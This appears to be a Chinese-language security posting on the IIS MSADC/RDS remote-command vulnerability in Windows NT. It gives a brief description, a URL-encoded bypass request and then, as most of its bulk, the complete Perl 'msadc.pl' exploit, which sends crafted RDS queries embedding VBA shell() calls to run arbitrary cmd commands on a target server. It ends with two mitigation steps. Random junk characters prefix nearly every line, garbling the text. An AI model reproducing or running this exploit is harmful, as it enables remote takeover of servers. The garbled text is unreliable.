IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%:((S]vAi A^o
涉及程序：
:^ ?ZVi59j Microsoft NT server
,R*ru* .qF@
}dO 描述：
]y!|x_5c3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_X;5ORH" W^al`lg+y 详细：
1kTJMtZG~ 如果你没有时间读详细内容的话，就删除:
{w{|y[[d~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
tQ] R@i 有关的安全问题就没有了。
0 $* z f,PFvT$5e 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
L suc*Ps k,b(MAiQ0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
O^oFH
OpFh 关于利用ODBC远程漏洞的描述，请参看:
m.S@ e8kS &*L:4By)] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #p*OLQ3~ hIPDJ1 a 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
^K&& O { http://www.microsoft.com/security/bulletins/MS99-025faq.asp t~X wF("; a<c % Xy/ 这里不再论述。
`^(6{p ? UHweV:(|T 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
8p t;'' Y@RPQPmIQ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+B c/@.Q' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
=s1"<hH}O) $5cLhi"` }q27M #将下面这段保存为txt文件，然后: "perl -x 文件名"
0>E cm# U*v//@WbH #!perl
n5oB#>tI0 #
)"|g&= # MSADC/RDS 'usage' (aka exploit) script
Bn47O~ #
[-1Nn} # by rain.forest.puppy
"YHe]R>3s #
>M S}7Hk\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Yq<D(F#qx # beta test and find errors!
:]e:-JbT4z OFCkQEG=y> use Socket; use Getopt::Std;
Q Q1+u Y getopts("e:vd:h:XR", \%args);
yq\) 8Fe g#5g0UP)V print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&=t$
AIu BI,K?D&W- if (!defined $args{h} && !defined $args{R}) {
7f[nNng print qq~
# `v`e" Usage: msadc.pl -h <host> { -d <delay> -X -v }
BJ~Q\Si6 -h <host> = host you want to scan (ip or domain)
~F>oNbJIv -d <seconds> = delay between calls, default 1 second
kzgH p,;R{ -X = dump Index Server path table, if available
)v8;\1`s: -v = verbose
u ldea) -e = external dictionary file for step 5
0>VgO{ X k`2 K?9\ Or a -R will resume a command session
xW n.vSos D-A#{e _ ~; exit;}
ANn {*h 7^as~5'&- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;Z
C 18@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
GAtK1%nPD if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
aztP`S$h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4D9l Za} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{HvR24# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Af
^ 6 bo\|mvB~ if (!defined $args{R}){ $ret = &has_msadc;
{Kd9} CDAZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
f x%'7/+ bHWy9 - print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X#1So .}c . "cmd /c ";
@ MAk/mb& $in=<STDIN>; chomp $in;
(Qq! u $command="cmd /c " . $in ;
Pw
hs`YGMF R 5bt~U if (defined $args{R}) {&load; exit;}
9BNAj- Xa [WX+/pm7> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
noh3m i &try_btcustmr;
tNmH*"wR< u|BD%5+J print "\nStep 2: Trying to make our own DSN...";
"`C|; \w &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w *#TS8
\ A{mbL2AxwC print "\nStep 3: Trying known DSNs...";
R b\=\ &known_dsn;
N, ;'oL + ^7F!>!9Ca print "\nStep 4: Trying known .mdbs...";
2,q^O3F &known_mdb;
qPH]DabpI )0fQ(3oOg if (defined $args{e}){
peR =J7 print "\nStep 5: Trying dictionary of DSN names...";
~ E>D0o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
k;;?3)! wC'KI8- print "Sorry Charley...maybe next time?\n";
UQ`%,D exit;
&FkKnz4IZ dGP*bMCT ##############################################################################
L.l%EcW=, C<6u} czA sub sendraw { # ripped and modded from whisker
>:Xzv sleep($delay); # it's a DoS on the server! At least on mine...
/$&~ 0pk my ($pstr)=@_;
u)R>ozER socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2frJSV ? die("Socket problems\n");
)'DFDrY if(connect(S,pack "SnA4x8",2,80,$target)){
</:f-J%U/ select(S); $|=1;
RyIr_:&-~ print $pstr; my @in=<S>;
PIB|&I|p select(STDOUT); close(S);
}_@cqx:n^ return @in;
hLYSYMUb } else { die("Can't connect...\n"); }}
w v9s{I{P e%(zjCA ##############################################################################
~9h6"0K! sjWhtd[fgG sub make_header { # make the HTTP request
2"yzrwZ: my $msadc=<<EOT
|>jlY| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D : 8-f3 User-Agent: ACTIVEDATA
j4ypXPY``! Host: $ip
%jqBYn0q' Content-Length: $clen
zdU<]ge Connection: Keep-Alive
"MM7qV mK@\6GOMYP ADCClientVersion:01.06
(U/ 6~r'.L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;9=9D{-4+ )&se/x+ --!ADM!ROX!YOUR!WORLD!
TjgX ' j Content-Type: application/x-varg
cS4e}\q, Content-Length: $reqlen
ogip#$A}3 08yTTt76t EOT
j)'V _@ ; $msadc=~s/\n/\r\n/g;
.<rL2`C[c return $msadc;}
kOF EH!9& [WY
NA-O ##############################################################################
_
nS';48 }Jh!B| sub make_req { # make the RDS request
\EUc1 7 my ($switch, $p1, $p2)=@_;
g] X4)e] my $req=""; my $t1, $t2, $query, $dsn;
c c
,] :==kC672 if ($switch==1){ # this is the btcustmr.mdb query
qaG%PH}a $query="Select * from Customers where City=" . make_shell();
P,_GTs3/G $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*)L%pH>` $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
> ~>=[M0 &AUL]:<s elsif ($switch==2){ # this is general make table query
-58r* [=8 $query="create table AZZ (B int, C varchar(10))";
} I; =IYrN $dsn="$p1";}
aNv6 " :*1|ERGoay elsif ($switch==3){ # this is general exploit table query
[~f%z(vI $query="select * from AZZ where C=" . make_shell();
FL(gwfL $dsn="$p1";}
isQ{Xt~K X7NRQ3P@ elsif ($switch==4){ # attempt to hork file info from index server
x>&1;g2r $query="select path from scope()";
TnPd pynP $dsn="Provider=MSIDXS;";}
az F"tke oopTo51,a elsif ($switch==5){ # bad query
Vy-H3BR $query="select";
s@^GjA[6+ $dsn="$p1";}
o =w& &B PKwHq<vAsB $t1= make_unicode($query);
<4rF3 aB- $t2= make_unicode($dsn);
;G;vpl $req = "\x02\x00\x03\x00";
3L=vsvO4 $req.= "\x08\x00" . pack ("S1", length($t1));
2ZNTg @o $req.= "\x00\x00" . $t1 ;
0 (@8 $req.= "\x08\x00" . pack ("S1", length($t2));
g#9K G $req.= "\x00\x00" . $t2 ;
/<zBcpVNV $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Ju)2J?Xs5 return $req;}
Il~ph9{JH ~"
}t8`vP1 ##############################################################################
0-l
@U { dH&N< sub make_shell { # this makes the shell() statement
?!Rl p/ return "'|shell(\"$command\")|'";}
X<,sc;"b`k .;/@k%> ##############################################################################
5W 5\ *L n#,AZ& sub make_unicode { # quick little function to convert to unicode
Zhz.8W my ($in)=@_; my $out;
DWm$:M4 z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
y9Yh% M( return $out;}
N$:[`, Z^>3}\_v ##############################################################################
8'Z9Z*^h#x x8b w# sub rdo_success { # checks for RDO return success (this is kludge)
c .KpXY my (@in) = @_; my $base=content_start(@in);
VSms hld if($in[$base]=~/multipart\/mixed/){
AM'-(x| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-Ww'wH'2 return 0;}
3$(1L N E-.M+[ ##############################################################################
p` 33 `25 S7E:&E& sub make_dsn { # this makes a DSN for us
&qM SJ my @drives=("c","d","e","f");
tA}O'x print "\nMaking DSN: ";
D-E30b]e foreach $drive (@drives) {
_2 }i8q: print "$drive: ";
:E@"4O?<Y) my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
- ]W AB9 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1UyI.U] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A;Xn#t ,(K $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p&:R SO return 0 if $2 eq "404"; # not found/doesn't exist
`Qaw]&O if($2 eq "200") {
'WxcA)z0cQ foreach $line (@results) {
$N+a 4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Le|Ho^h,Y } return 0;}
0K@s_C=n# qD7# q] ##############################################################################
)z2Tm4>iql D0lgKQ sub verify_exists {
`: -{8Vo7 my ($page)=@_;
L*D-RY W my @results=sendraw("GET $page HTTP/1.0\n\n");
wrac\ . return $results[0];}
UT==x< I/pavh ##############################################################################
1i$9x$4~E na( @`(j[ sub try_btcustmr {
bn~=d@' my @drives=("c","d","e","f");
v&xk?F?WU, my @dirs=("winnt","winnt35","winnt351","win","windows");
X<#Q~" z <sf}6q foreach $dir (@dirs) {
2Z\6xb| u print "$dir -> "; # fun status so you can see progress
aO yAP-m, foreach $drive (@drives) {
"'^#I_*Mf print "$drive: "; # ditto
W*}q;ub; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;]KGRT $reqlenlen=length( "$reqlen" );
Q.DtC $clen= 206 + $reqlenlen + $reqlen;
~bdADVH )0yY|E\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@&83 /U? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Gv?'R0s else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"
F~uTo C. }Z5BwS ##############################################################################
#'v7m Ewt q, PB; TT sub odbc_error {
?U cW@ B{ my (@in)=@_; my $base;
~{=+dQ my $base = content_start(@in);
FxTOc@< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
0 #VH=p ga $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f+Pu t $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6AUXYbK, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ts fOod return $in[$base+4].$in[$base+5].$in[$base+6];}
iNT 1lk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\3O#H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w`CGDF\Oo $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
600-e ;p |9?67 - ##############################################################################
,CA,7Mu: OzA"i y sub verbose {
"m3u}!`3 my ($in)=@_;
Y"K7$+5#\ return if !$verbose;
*h-_
print STDOUT "\n$in\n";}
?Q]&d!U Cs 8N'`kd~6[ ##############################################################################
q/ 6d^& hE/gul?|_ sub save {
cr27q6_ my ($p1, $p2, $p3, $p4)=@_;
vMRM/. open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ALiA+k N print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"F7g8vu close OUT;}
S5-}u)XnH AVZ -g/<
##############################################################################
: N> 5{ V+n qQ~pJ& sub load {
I'`Q_5s5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
sc@v\J;k open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s~6?p%
2] @p=<IN>; close(IN);
Hd
U1gV> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
DCACj-f $target= inet_aton($ip) || die("inet_aton problems");
`2o/W]SSk print "Resuming to $ip ...";
sG%Q?&- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
QukLsl]U if($p[1]==1) {
Ki,]*-XO $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
lo,?mj%M $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q 6`oo/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
DQ?'f@I&* if (rdo_success(@results)){print "Success!\n";}
%+:%%r=Q else { print "failed\n"; verbose(odbc_error(@results));}}
|0vY'A)] elsif ($p[1]==3){
x&8HBF' if(run_query("$p[3]")){
S =U*is print "Success!\n";} else { print "failed\n"; }}
smoz5~ elsif ($p[1]==4){
N>z_uPy{A if(run_query($drvst . "$p[3]")){
zRx-xWo print "Success!\n"; } else { print "failed\n"; }}
0vqXLFf exit;}
1Yo9Wf;vP c]P`U(q9TV ##############################################################################
Zoh2m` 6 1ZJP.T` sub create_table {
exiCy 1[+ my ($in)=@_;
' &^:@V $reqlen=length( make_req(2,$in,"") ) - 28;
Eyxw.,rB/ $reqlenlen=length( "$reqlen" );
K =;z&E=<c $clen= 206 + $reqlenlen + $reqlen;
a-MDZT<xA+ my @results=sendraw(make_header() . make_req(2,$in,""));
5)wz `OS return 1 if rdo_success(@results);
w6F4o;<PR my $temp= odbc_error(@results); verbose($temp);
q=M!YWz return 1 if $temp=~/Table 'AZZ' already exists/;
S#/[>C b return 0;}
jQFAlO(E': * 8CI'UX ##############################################################################
DB We>Ef( m*6C *M
sub known_dsn {
;[R{oW
Nw # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
k#_B^J&d my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
f\nF2rlu "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
u}W R1u [ "banner", "banners", "ads", "ADCDemo", "ADCTest");
9KN75<n AMp[f%X foreach $dSn (@dsns) {
Q mT L- print ".";
L~%@ pf > next if (!is_access("DSN=$dSn"));
gI~ R u8 if(create_table("DSN=$dSn")){
(|(#~o]40t print "$dSn successful\n";
_Jn-# du if(run_query("DSN=$dSn")){
T\eOrWt/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>V2Tr$m j print "Something's borked. Use verbose next time\n";}}} print "\n";}
+/'3=!oyd U iqHUrx ##############################################################################
oyZ}JTl( Q <5?.s<
y$" sub is_access {
FX`SaY>D my ($in)=@_;
h|$ .`$ $reqlen=length( make_req(5,$in,"") ) - 28;
Kr3L~4> $reqlenlen=length( "$reqlen" );
YDE;mIW $clen= 206 + $reqlenlen + $reqlen;
M. O3QKU4 my @results=sendraw(make_header() . make_req(5,$in,""));
IGeXj%e my $temp= odbc_error(@results);
f7c%Z:C#Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
cY
^>` return 0;}
paF$ o6\ d[;S n:B ##############################################################################
w[~O@:`]<o J+ r\EN^9 sub run_query {
3qR%Mf' my ($in)=@_;
;HtHN
K(o $reqlen=length( make_req(3,$in,"") ) - 28;
Oz<{B]pEul $reqlenlen=length( "$reqlen" );
i1v0J-> $clen= 206 + $reqlenlen + $reqlen;
Nb~.6bsL my @results=sendraw(make_header() . make_req(3,$in,""));
oswS<t{Z return 1 if rdo_success(@results);
I?}YS-2 my $temp= odbc_error(@results); verbose($temp);
0"]N9N;/ return 0;}
8XZS BR(Z Pzb LbH8A ##############################################################################
*^e06xc: 7SO i9JU_ sub known_mdb {
49q\/ my @drives=("c","d","e","f","g");
_yw]Cacr\ my @dirs=("winnt","winnt35","winnt351","win","windows");
Ea#wtow|- my $dir, $drive, $mdb;
[LDsn]{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2{:bv~*I0F H g(%g T # this is sparse, because I don't know of many
0\*[7!`s my @sysmdbs=( "\\catroot\\icatalog.mdb",
8R<2I1xn2 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;L (dmx? "\\system32\\certmdb.mdb",
MwMv[];I "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^}vL ZA Q^}6GS$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9aky+ "\\cfusion\\cfapps\\forums\\forums_.mdb",
=oz $uD}? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
tfW*(oU "\\cfusion\\cfapps\\security\\realm_.mdb",
$Tci_(V=F "\\cfusion\\cfapps\\security\\data\\realm.mdb",
c `C
/U7j "\\cfusion\\database\\cfexamples.mdb",
>|Ps23J# "\\cfusion\\database\\cfsnippets.mdb",
7<;87 t]] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<RH2G "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
/ qp)n"> "\\cfusion\\brighttiger\\database\\cleam.mdb",
nA$zp "\\cfusion\\database\\smpolicy.mdb",
%2>ya>/M "\\cfusion\\database\cypress.mdb",
jI:5[. Y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
V`Ve__5; "\\website\\cgi-win\\dbsample.mdb",
8D7 = ] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Q'x Z\t "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
EF1aw2 ); #these are just
-wJ/j~ +m+ foreach $drive (@drives) {
OE_;i}58 foreach $dir (@dirs){
F*Lm=^: foreach $mdb (@sysmdbs) {
RS'!>9I print ".";
}j9V0`Q if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d/oxRzk'L print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
,ND}T#yTR if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+72[*_ < print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
x aiA2 } else { print "Something's borked. Use verbose next time\n"; }}}}}
gbF^m`A>%+ +
q@kRQY;n foreach $drive (@drives) {
4mNg(w=NF foreach $mdb (@mdbs) {
v53q pqc print ".";
Ovu!G
q if(create_table($drv . $drive . $dir . $mdb)){
[AgS@^"sf5 print "\n" . $drive . $dir . $mdb . " successful\n";
6bj.z if(run_query($drv . $drive . $dir . $mdb)){
Fv_rDTo print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*Xm$w } else { print "Something's borked. Use verbose next time\n"; }}}}
{oQ.y }
?VVtEmIN 7S+_eL^ ##############################################################################
h:%L% Y9z Y)="of sub hork_idx {
a?&{eMEe} print "\nAttempting to dump Index Server tables...\n";
}s i{ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
cF6eMml ; $reqlen=length( make_req(4,"","") ) - 28;
^=kUNyY $reqlenlen=length( "$reqlen" );
HjG!pO{ $clen= 206 + $reqlenlen + $reqlen;
Qry?h*p+` my @results=sendraw2(make_header() . make_req(4,"",""));
hbfTv;=z if (rdo_success(@results)){
+JQ/DNv my $max=@results; my $c; my %d;
24;F~y8H for($c=19; $c<$max; $c++){
]!l]^/ . $results[$c]=~s/\x00//g;
Y*o T ( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
H$GJpXIb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-U'3kaX5< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:f1Q0klwP $d{"$1$2"}="";}
(vL-Z[M! foreach $c (keys %d){ print "$c\n"; }
H#yBWvj*H } else {print "Index server doesn't seem to be installed.\n"; }}
v (PwE B] dG5p`N % ##############################################################################
^B)iBf Z .8[Uk^q sub dsn_dict {
/q.iUwSK> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
@&H Tt while(<IN>){
liu%K9 -r $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!=sM `(=~ next if (!is_access("DSN=$dSn"));
YXe L7W if(create_table("DSN=$dSn")){
EtVRnI@ print "$dSn successful\n";
M3>c ?,O)J if(run_query("DSN=$dSn")){
~ti{na4W< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J QSp2b@'H print "Something's borked. Use verbose next time\n";}}}
7&t y!PpD print "\n"; close(IN);}
|#uA(V @JFfyQ {- ##############################################################################
-44{b<:D u /W sub sendraw2 { # ripped and modded from whisker
~ o"VZp sleep($delay); # it's a DoS on the server! At least on mine...
0xv@l^B my ($pstr)=@_;
!a ylrJJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?;{ d die("Socket problems\n");
>\J({/ #O if(connect(S,pack "SnA4x8",2,80,$target)){
O+ ].' print "Connected. Getting data";
Pr|:nJs open(OUT,">raw.out"); my @in;
oaxCcB=\ select(S); $|=1; print $pstr;
k {M4.a[ ( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G.#`DaP close(OUT); select(STDOUT); close(S); return @in;
S(bYN[U } else { die("Can't connect...\n"); }}
RZKdh}B?\ 2h W tpus ##############################################################################
h?cf)L fU?P__zU4 sub content_start { # this will take in the server headers
AC`4n|,zJ; my (@in)=@_; my $c;
Atdr|2 for ($c=1;$c<500;$c++) {
$? voQ & if($in[$c] =~/^\x0d\x0a/){
="yN4+0-p if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
m* '^*# else { return $c+1; }}}
"YW&,X5R return -1;} # it should never get here actually
`TugtzRU +@n8DM{b ##############################################################################
>j&+mii ~3 ,>TV sub funky {
8o Ar<:.= my (@in)=@_; my $error=odbc_error(@in);
$>Y 2N5 if($error=~/ADO could not find the specified provider/){
l'Oz-p.@ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
2. xA' \M exit;}
nu'r ` if($error=~/A Handler is required/){
1=R6||8ws print "\nServer has custom handler filters (they most likely are patched)\n";
CJn{tP exit;}
M|HW$8V3_2 if($error=~/specified Handler has denied Access/){
(4;m*' X print "\nServer has custom handler filters (they most likely are patched)\n";
(Nzup 3j exit;}}
y,D@[*~Xb +0{$J\ s ##############################################################################
Rv-`6eyAA %Y0, ww2 sub has_msadc {
wNNInS6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0[/GEY@ my $base=content_start(@results);
R&lJ& SgC return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
UG @9X/l} return 0;}
tBJCfM lfle7; ########################
PT t#Ixn, @e`%' REEs}88);' 解决方案：
FabDK : 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
D9hV` fA 2、移除web 目录: /msadc
